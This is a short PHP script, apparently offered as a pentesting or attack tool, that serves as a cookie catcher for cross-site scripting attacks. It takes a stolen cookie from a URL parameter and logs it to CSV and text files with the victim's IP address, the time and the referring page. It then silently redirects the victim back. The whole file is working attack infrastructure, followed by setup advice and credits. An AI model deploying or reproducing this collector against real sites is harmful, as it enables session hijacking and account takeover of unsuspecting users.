cookiecatcher.php

<?php
define('CSV_STORAGE', __DIR__ . '/cookies.csv');
define('TXT_FILE', __DIR__ . '/cookies.txt');

if(!array_key_exists('c', $_GET))
{
    die('Nope. Not valid');
}

$cookie   = $_GET['c'];
$date     = date("j F, Y, g:i a");
$referrer = $_SERVER['HTTP_REFERER'];
$ip       = $_SERVER['REMOTE_ADDR'];

$csvFileHandle = fopen(CSV_STORAGE, 'a');
$txtFileHandle = fopen(TXT_FILE, 'a');

if(0 == filesize(CSV_STORAGE))
{
    fputcsv($csvFileHandle, array('Cookie', 'IP', 'Date', 'Referrer'));
}
fputcsv($csvFileHandle, array($cookie, $ip, $date, $referrer));


fwrite($txtFileHandle,
    'Cookie: ' . $cookie . PHP_EOL
    . 'IP: ' . $ip . PHP_EOL
    . 'Date and time: ' . $date . PHP_EOL
    . 'Referer: ' . $referrer . PHP_EOL . PHP_EOL
);

fclose($csvFileHandle);
fclose($txtFileHandle);

header('Location:' . $_SERVER['HTTP_REFERER']);




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Don't forget to create cookies.txt and cookies.csv and make sure they are writable
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leonteale.co.uk

With special thanks to Thomas Gray @ Randomstorm for helping me make this script better.